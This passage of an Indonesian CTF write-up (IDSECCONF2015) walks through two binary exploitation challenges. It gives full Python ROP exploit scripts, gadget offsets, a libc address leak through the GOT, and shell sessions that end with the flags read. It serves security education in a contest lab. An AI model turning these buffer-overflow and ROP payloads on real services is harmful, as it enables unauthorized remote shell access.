Selanjutnya kita akan mencari gadget. Kita akan menaruh alamat string “/bin/sh” ke register rdi untuk
dijadikan parameter ke system(). Kita akan mencari “pop rdi” pada libc.so.6 yang diberikan agar nilai pada
stack dipop kemudian dimasukkan ke register rdi.
$ objdump -M intel -d /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi' 471fc: 5f pop rdi 498b3: 5f pop rdi c1280: 5f pop rdi fa47a: 5f pop rdi
Di sekitar address fa47a ada instruksi yang cukup umum untuk dijadikan gadget.
$ objdump -M intel -d /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi' …… fa479: 58 pop rax fa47a: 5f pop rdi fa47b: ff d0 call rax ….
Dengan mengatur instruction pointer ke libc base address + 0xfa479, instruksi yang dilakukan adalah pop
nilai di stack ke register rax, pop lagi dan masukkan ke register rdi, kemudian alamat yang berada di register
rax akan dipanggil. Oleh karena itu, rip harus kita overwrite menjadi libc base address + 0xfa479 dan
masukkan juga address dari system() dan string “/bin/sh” agar dimasukkan ke register rax dan rdi
berturutturut. ROP chain yang dirancang menjadi seperti ini :
[136bytes junk] + [libc base address + 0xfa479] + [libc base address + 0x46640] + [libc base address +
0x17ccdb]
Rancang script python untuk membaca address yang diberikan, dapatkan libc base addressnya, kemudian
luncurkan exploitnya ke layanan yang disediakan dan lakukan interaksi.
from struct import pack import socket, struct, time, telnetlib s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("128.199.188.104", 17945)) gadget_offset = 0xfa479 system_offset = 0x46640 binsh_offset = 0x17ccdb given_address = s.recv(1024)[:-1]
Write Up Online CTF #IDSECCONF2015 farisv
system = int(given_address, 16) libc_base = system - system_offset gadget = libc_base + gadget_offset binsh = libc_base + binsh_offset s.recv(1024) p = 'A'*136 p += pack("<Q", gadget) p += pack("<Q", system) p += pack("<Q", binsh) s.send(p) time.sleep(0.5) t = telnetlib.Telnet() t.sock = s t.interact() s.close()
Jalankan script yang dibuat untuk mendapatkan akses shell pada server dan lihat isi flag.txt.
$ python exploit.py id uid=1001(mediumOK) gid=1001(mediumOK) groups=1001(mediumOK) ls -al total 40 drwxr-xr-x 2 root root 4096 Aug 16 21:08 . drwxr-xr-x 3 root root 4096 Aug 16 21:08 .. -r-------- 1 mediumOK mediumOK 37 Aug 18 10:17 flag.txt -r-xr-xr-x 1 medium medium 8928 Aug 16 10:16 medium -rwxr-x--- 1 root root 388 Aug 16 10:16 medium.c -rwxr-x--- 1 root root 8928 Aug 16 10:16 pwnmedium cat flag.txt flagROP_Rentetan_Orang_Perjaka_bro
Flag : ROP_Rentetan_Orang_Perjaka
*di tengah kontes, flag diubah menjadi ROP_Rentetan_Orang_Perjaka_bro
Write Up Online CTF #IDSECCONF2015 farisv
pwn 350 350 Points Pada saat kontes saya tidak sempat mengerjakan challenge ini dan berniat untuk mengerjakan setelah
kontes berakhir. Namun, belum sempat saya mulai mengerjakan, junior saya di kampus (sattvika, peringkat
5 di Online CTF) sudah berhasil merancang exploit yang benar. Sehingga selain saya mencari berbagai
macam referensi di internet, saya pun mempelajari dari cara yang dia lakukan.
Pada dasarnya pwn 350 adalah lanjutan dari pwn medium sehingga sebaiknya pembahasan dari pwn
medium dipahami terlebih dahulu. Jika di pwn medium kita diberikan address dari system() pada libc yang
dipakai, maka pwn 350 tidak memberikan address apaapa. Layanan dari binary yang digunakan berada di
128.199.218.190 port 17458.
$ nc 128.199.218.190 17458 Dirgahayu Yang ke 70 Ayo kerja Jangan Harap alamat apapun
Apakah kita bisa melakukan hal yang sama seperti pada pwn medium (memanggil system(“/bin/sh”)) tanpa
diberikan address dari system() oleh program? Bisa, yaitu dengan meleak alamat tertentu di libc, panggil
kembali mainnya, dan kemudian lakukan hal yang serupa dengan pwn medium.
Pada binary yang menggunakan shared library, umumnya bisa kita temukan Procedure Linkage Table atau
PLT.
$ objdump -M intel -j .plt -d pwn pwn: file format elf64-x86-64 Disassembly of section .plt: 0000000000400440 <write@plt-0x10>: 400440: ff 35 c2 0b 20 00 push QWORD PTR [rip+0x200bc2] # 601008 <_GLOBAL_OFFSET_TABLE_+0x8> 400446: ff 25 c4 0b 20 00 jmp QWORD PTR [rip+0x200bc4] # 601010 <_GLOBAL_OFFSET_TABLE_+0x10> 40044c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] 0000000000400450 <write@plt>: 400450: ff 25 c2 0b 20 00 jmp QWORD PTR [rip+0x200bc2] # 601018 <_GLOBAL_OFFSET_TABLE_+0x18> 400456: 68 00 00 00 00 push 0x0 40045b: e9 e0 ff ff ff jmp 400440 <_init+0x28> 0000000000400460 <read@plt>: 400460: ff 25 ba 0b 20 00 jmp QWORD PTR [rip+0x200bba] # 601020 <_GLOBAL_OFFSET_TABLE_+0x20>
Write Up Online CTF #IDSECCONF2015 farisv
400466: 68 01 00 00 00 push 0x1 40046b: e9 d0 ff ff ff jmp 400440 <_init+0x28> 0000000000400470 <__libc_start_main@plt>: 400470: ff 25 b2 0b 20 00 jmp QWORD PTR [rip+0x200bb2] # 601028 <_GLOBAL_OFFSET_TABLE_+0x28> 400476: 68 02 00 00 00 push 0x2 40047b: e9 c0 ff ff ff jmp 400440 <_init+0x28> 0000000000400480 <__gmon_start__@plt>: 400480: ff 25 aa 0b 20 00 jmp QWORD PTR [rip+0x200baa] # 601030 <_GLOBAL_OFFSET_TABLE_+0x30> 400486: 68 03 00 00 00 push 0x3 40048b: e9 b0 ff ff ff jmp 400440 <_init+0x28>
Fungsi dari PLT adalah untuk memanggil fungsi eksternal yang alamatnya tidak diketahui ketika linking.
Untuk melakukan resolve address, digunakan GOT atau Global Offset Table. Bisa dilihat bahwa ketika
program membaca sesuatu, maka yang dicall adalah read@plt.
$ objdump -M intel -d pwn | grep "read@plt" 0000000000400460 <read@plt>: 40059f: e8 bc fe ff ff call 400460 <read@plt>
Sebenarnya ketika program membaca masukan, read yang dipakai adalah read milik libc. Nah, kalau kita
berhasil membaca GOT dari read@plt (0x601020) ini sebenarnya merujuk ke address mana ketika
program berjalan, maka kita bisa dapatkan libc base address dengan mengurangi address yang didapat
dengan offset dari read() milik libc yang diberikan pada challenge ini.
Pertama, kita akan mencoba untuk melakukan write. Kita bisa mengatur instruction pointer menjadi
write@plt (0x400450), namun sebelumnya kita harus mengisi register rdi dengan 0x01 (agar bisa
melakukan write) dan rsi dengan alamat GOT read@plt (0x601020). Oleh karena itu kita akan mencari
gadget untuk pop rdi dan pop rsi. Di sini saya memakai http://ropshell.com/ untuk mencari gadget dengan
mengunggah binary dari challenge ini ke situs tersebut terlebih dahulu.
http://ropshell.com/ropsearch?h=941a4ddec7c23d91d6eecf7b85d63e82&p=pop+rdi
ropshell> search pop rdi found 1 gadgets > 0x00400643 : pop rdi; ret
http://ropshell.com/ropsearch?h=941a4ddec7c23d91d6eecf7b85d63e82&p=pop+rsi
ropshell> search pop rsi found 1 gadgets > 0x00400641 : pop rsi; pop r15; ret
Write Up Online CTF #IDSECCONF2015 farisv
Perlu diperhatikan untuk 0x00400641, selain pop rsi juga dilakukan pop r15. Karena register r15 tidak
terpakai jadi bisa kita isi dengan 8bytes sembarang.
ROP chain untuk melakukan write terhadap read@plt ini adalah :
[136bytes junk] + [pop rdi; ret] + [0x00000001] + [pop rsi; pop r15; ret] + [GOT read@plt] + [8bytes junk]
+ [write@plt]
Instruction pointer pertama diarahkan ke ‘pop rdi; ret’ kemudian rdi diisi dengan 0x01, instruction pointer
berikutnya diarahkan ke ‘pop rsi; pop r15; ret’ kemudian rsi diisi dengan address GOT read@plt dan r15 diisi
dengan 8bytes junk, kemudian instruction pointer diarahkan untuk memanggil write. Kita coba untuk
merancang script python untuk mengirimkan ROP chain ini.
from struct import pack import socket, struct s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("128.199.218.190", 17458)) got_readplt = 0x601020 writeplt = 0x400450 poprdi = 0x400643 # pop rdi; ret poprsi = 0x400641 # pop rsi; pop r15; ret s.recv(1024) p = 'A'*(136) p += pack("<Q", poprdi) p += pack("<Q", 1) p += pack("<Q", poprsi) p += pack("<Q", got_readplt) p += 'A'*8 p += pack("<Q", writeplt) s.send(p) output = s.recv(8) print output.encode("hex")
Jalankan script tersebut.
$ python leak.py 70f426e9a57f0000
Terlihat bahwa program mengeluarkan sebuah address. Setiap script dijalankan, address yang keluar juga
berbedabeda. Dengan demikian kita berhasil melakukan leak terhadap address dari read() pada libc.
Write Up Online CTF #IDSECCONF2015 farisv
Langkah selanjutnya sebenarnya dapat kita lakukan seperti pada pwn medium, tetapi yang jadi masalah
adalah program langsung keluar setelah meleak address. Oleh karena itu, kita atur agar program kembali
ke main. Kita tidak dapat langsung mengatur instruction pointer untuk ke main setelah ROP chain
sebelumnya. Alternatifnya, kita atur agar program memanggil read dan setelah ada masukan, baru program
akan melanjutkan ke main. Dari hasil objdump sebelumnya, alamat read@plt adalah 0x400460.
$ objdump -M intel -d pwn | grep main 0000000000400470 <__libc_start_main@plt>: 4004b4: e8 b7 ff ff ff call 400470 <__libc_start_main@plt> 00000000004005a6 <main>:
Alamat main adalah 0x4005a6. Oh, ya untuk memanggil read, kita harus mengisi register rdi dengan 0 dan
mengisi register rsi dengan tujuannya. yaitu .data. Pembentukan ROP chainnya sama dengan sebelumnya.
Di sini kita masih memerlukan address dari .data. Kita bisa dapatkan address dari .data melalui IDA.
Address dari .data adalah 0x601038. Berikut adalah ROP chain melanjutkan chain sebelumnya.
[ROP chain untuk leak address] + [pop rdi] + [0x00000000] + [pop rsi; pop r15; ret] + [.data] + [8bytes junk]
+ [read@plt] + [main]
ROP chain ini kemudian harus dilengkapi lagi untuk mengexecute /bin/sh seperti pada pwn medium. Kita
sudah dapatkan leak address dari read() pada libc. Kita cari tahu offset dari read(), system(), dan string
“/bin/sh” pada libc yang diberikan dengan libcdatabase.
[libc-database]$ ./add libc.so.6 Adding local libc libc.so.6 (id local-4ebafaaba14f0c361facb0a2ff38de4f5a954c9a libc.so.6) -> Writing libc to db/local-4ebafaaba14f0c361facb0a2ff38de4f5a954c9a.so -> Writing symbols to db/local-4ebafaaba14f0c361facb0a2ff38de4f5a954c9a.symbols -> Writing version info [libc-database]$ ./dump local-4ebafaaba14f0c361facb0a2ff38de4f5a954c9a offset___libc_start_main_ret = 0x20a40 offset_system = 0x00000000000443d0 offset_dup2 = 0x00000000000f7b90
Write Up Online CTF #IDSECCONF2015 farisv
offset_read = 0x00000000000f7470 offset_write = 0x00000000000f74d0 offset_str_bin_sh = 0x18c3dd
Didapatkan offset dari system() adalah 0x443d0, offset dari read() adalah 0xf7470, dan offset dari string
“/bin/sh” adalah 0x18c3dd.
Karena program sudah kembali ke main dan membaca sesuatu, ROP chain untuk mengexecute “/bin/sh”
mirip dengan pada pwn medium hanya saja karena di sini kita memakai gadget ‘pop rdi; ret’ maka kita
masukkan langsung string “/bin/sh” ke register rdi dan kemudian panggil system dengan memasukkan
address dari system().
[136bytes junk] + [pop rdi; ret] + [string “bin/sh”] + [system]
Berikut adalah script python untuk melakukan exploit secara lengkap.
from struct import pack import socket, struct, time, telnetlib s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("128.199.218.190", 17458)) got_readplt = 0x601020 write = 0x400450 main = 0x4005a6 data = 0x601038 read = 0x400460 poprdi = 0x400643 # pop rdi; ret poprsi = 0x400641 # pop rsi; pop r15; ret read_libc_offset = 0xf7470 binsh_offset = 0x18c3dd system_offset = 0x443d0 # Stage 1 : Leak read() address in libc, read an input to .data (for dummy), and go to main s.recv(1024) p = 'A'*(128+8) p += pack("<Q", poprdi) p += pack("<Q", 1) p += pack("<Q", poprsi) p += pack("<Q", got_readplt) p += 'A'*8 p += pack("<Q", write) p += pack("<Q", poprdi) p += pack("<Q", 0) p += pack("<Q", poprsi) p += pack("<Q", data) p += 'A'*8 p += pack("<Q", read) p += pack("<Q", main)
Write Up Online CTF #IDSECCONF2015 farisv
s.send(p) output = s.recv(8) read_libc = struct.unpack("<Q", output)[0] s.send("a") # dummy # Stage 2 : ROP for execute /bin/sh libc_base = read_libc - read_libc_offset system = libc_base + system_offset binsh = libc_base + binsh_offset s.recv(1024) p = 'A'*(128+8) p += pack("<Q", poprdi) p += pack("<Q", binsh) p += pack("<Q", system) s.send(p) # Interact with shell time.sleep(0.5) t = telnetlib.Telnet() t.sock = s t.interact() s.close()
Jalankan script untuk mendaptkan akses shell pada server layanan yang disediakan.
$ python exploit.py Dirgahayu Yang ke 70 Ayo kerja Jangan Harap alamat apapun id uid=1002(hard) gid=1002(hard) groups=1002(hard) ls -al total 2632 drwxr-xr-x 2 root root 4096 Aug 18 02:22 . drwxr-xr-x 5 root root 4096 Aug 13 11:49 .. -r-------- 1 hard hard 31 Aug 18 10:32 flag.txt -rwxr-xr-x 1 hardOK hardOK 8640 Aug 18 01:46 hard -rwxr-x--- 1 root root 290 Aug 18 01:46 hard.c -rwxr-xr-x 1 root root 1869392 Aug 18 02:17 libc.so.6 -rw-r--r-- 1 root root 793641 Aug 18 02:19 pwn3.tar.gz cat flag.txt flagini_buk4n_gadgets_p0ns3l
Flag : ini_buk4n_gadgets_p0ns3l
Write Up Online CTF #IDSECCONF2015 farisv